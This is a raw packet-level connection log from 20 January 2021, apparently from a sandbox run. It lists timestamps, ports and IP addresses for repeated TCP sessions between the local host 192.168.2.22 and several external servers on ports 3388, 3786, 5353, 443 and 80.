Jan 20, 2021 16:15:08.465161085 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.465276003 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.465296984 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.482657909 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.513822079 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.513899088 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.519040108 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.519156933 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:08.519303083 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:08.519402981 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.520360947 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.528043985 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.528134108 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.558260918 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.651523113 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.652045012 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.652159929 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.655889034 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.656024933 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.657275915 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.657309055 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.695857048 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.703490019 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:08.721209049 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:08.721240044 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:08.721379995 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.734575987 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.783476114 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.783499002 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.805650949 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.825849056 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.825917006 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.825978994 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.923516035 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:08.923682928 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.933136940 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.933239937 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.994924068 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.037540913 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:09.037585974 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:09.037749052 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:09.042109966 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:09.116255045 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.116460085 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.155875921 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.164942026 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.169444084 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:09.299557924 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.300034046 CET	49181	80	192.168.2.22	185.32.190.115
Jan 20, 2021 16:15:09.300604105 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:15:09.301140070 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:09.301683903 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:09.302145004 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:15:09.320771933 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.320801020 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.320949078 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.327415943 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.366641998 CET	80	49181	185.32.190.115	192.168.2.22
Jan 20, 2021 16:15:09.389303923 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.389336109 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.389452934 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.395729065 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.446979046 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.453293085 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.453495026 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.454736948 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.471482038 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:15:09.497498035 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.516069889 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.610596895 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:09.610672951 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:09.630177975 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.630320072 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.631449938 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.673957109 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.674051046 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.674165010 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.674230099 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.680330038 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.685913086 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.686027050 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.687220097 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.687572002 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.744381905 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.754297972 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.754415989 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.755237103 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:09.755754948 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.766436100 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:15:09.769428968 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:09.787364006 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:09.815335035 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.835498095 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.835556030 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.835640907 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.835673094 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.849442005 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:09.856108904 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.862853050 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.862878084 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:09.862926006 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.862955093 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.863289118 CET	3786	49234	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:09.871814966 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:09.914921999 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:09.915067911 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:09.916739941 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.037833929 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:10.037954092 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.040571928 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.041059971 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.041115999 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.043102026 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.043195963 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.044162035 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.054554939 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.054722071 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.063278913 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:10.063533068 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:10.071746111 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.071782112 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.071852922 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.071913004 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.072037935 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:10.072057009 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:10.078583956 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.212925911 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.213267088 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.218929052 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:10.219295979 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:10.221914053 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.222100973 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.223325014 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.224020958 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.224098921 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.226829052 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:10.226908922 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.349698067 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.349777937 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.360554934 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:10.360646963 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:10.390583038 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.392996073 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.399677038 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:10.409570932 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:10.477257013 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.477287054 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.648989916 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:10.671247005 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:15:10.714174032 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.714194059 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.714236975 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.714260101 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.717828035 CET	49237	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:10.732276917 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.732301950 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.732445002 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.732487917 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.735841036 CET	49238	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.783699036 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:10.783732891 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:10.783885956 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.783934116 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.787594080 CET	49236	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.832830906 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:10.858000040 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:10.863639116 CET	443	49238	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:10.886970997 CET	3388	49237	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:10.896488905 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:10.970843077 CET	3786	49236	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.016319036 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.017765999 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.025041103 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.028189898 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.028949976 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.035075903 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.147985935 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.148137093 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.148993015 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.156233072 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.177829027 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.177855968 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.177943945 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.186959028 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.218208075 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.234838009 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.234863043 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.234966993 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.240027905 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.240053892 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.240134954 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.240156889 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.243676901 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.244682074 CET	49235	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.321638107 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.322228909 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.327496052 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.327621937 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.363111973 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.417768955 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:11.417808056 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:11.433326960 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.435378075 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.438535929 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.441274881 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.441442013 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.449779034 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.449804068 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.449872017 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.455050945 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.455370903 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.458297014 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.495017052 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.532172918 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:11.532290936 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.533294916 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.533396959 CET	5353	49235	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.582833052 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.583152056 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.624485970 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.624671936 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:11.663943052 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.702112913 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:11.708852053 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:11.708882093 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:11.709021091 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.718750954 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.753729105 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:11.753900051 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.759327888 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.759398937 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.807810068 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:11.838627100 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.838654995 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:11.838726044 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.842138052 CET	49241	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:11.887891054 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:11.888454914 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:11.888572931 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.893930912 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.894074917 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:11.955312967 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:11.970340967 CET	443	49241	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.049926996 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.050029993 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.063066006 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.063097000 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.063157082 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:12.176821947 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:12.176847935 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:12.177151918 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:12.181694984 CET	49239	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:12.232695103 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.232722998 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.253081083 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.253249884 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.254586935 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.300843000 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.344110012 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.364948988 CET	3786	49239	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:12.429150105 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.429332972 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.430442095 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.481230021 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:15:12.551023006 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.551054955 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.551098108 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:12.551140070 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:12.551491022 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.555032969 CET	49242	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:12.558485031 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.563508034 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.563540936 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.563587904 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.563637972 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.570914984 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.580827951 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.580852985 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.580904007 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.589346886 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.676208973 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:12.724013090 CET	3388	49242	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:12.724107027 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.724173069 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.728357077 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.728427887 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.857292891 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.857410908 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.859774113 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:12.859836102 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:12.860496044 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:12.869200945 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.869256973 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.873888016 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.874008894 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.897639036 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.931492090 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.931530952 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:12.931600094 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.931638956 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.934464931 CET	49240	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:12.973608017 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:12.987406015 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:12.987426996 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.045015097 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.047868967 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.077677965 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.077738047 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.077752113 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:13.077779055 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:13.084242105 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:13.101315022 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.101380110 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.137623072 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.168859959 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.168931961 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:13.208575010 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.217720032 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.217971087 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.218708992 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.224682093 CET	5353	49240	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.242460012 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.242496014 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.242568970 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.244853020 CET	49244	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.268400908 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.280431032 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.280544996 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:13.287823915 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.287874937 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.287957907 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.288000107 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.298301935 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.311165094 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:13.311357975 CET	49245	3786	192.168.2.22	198.57.200.100
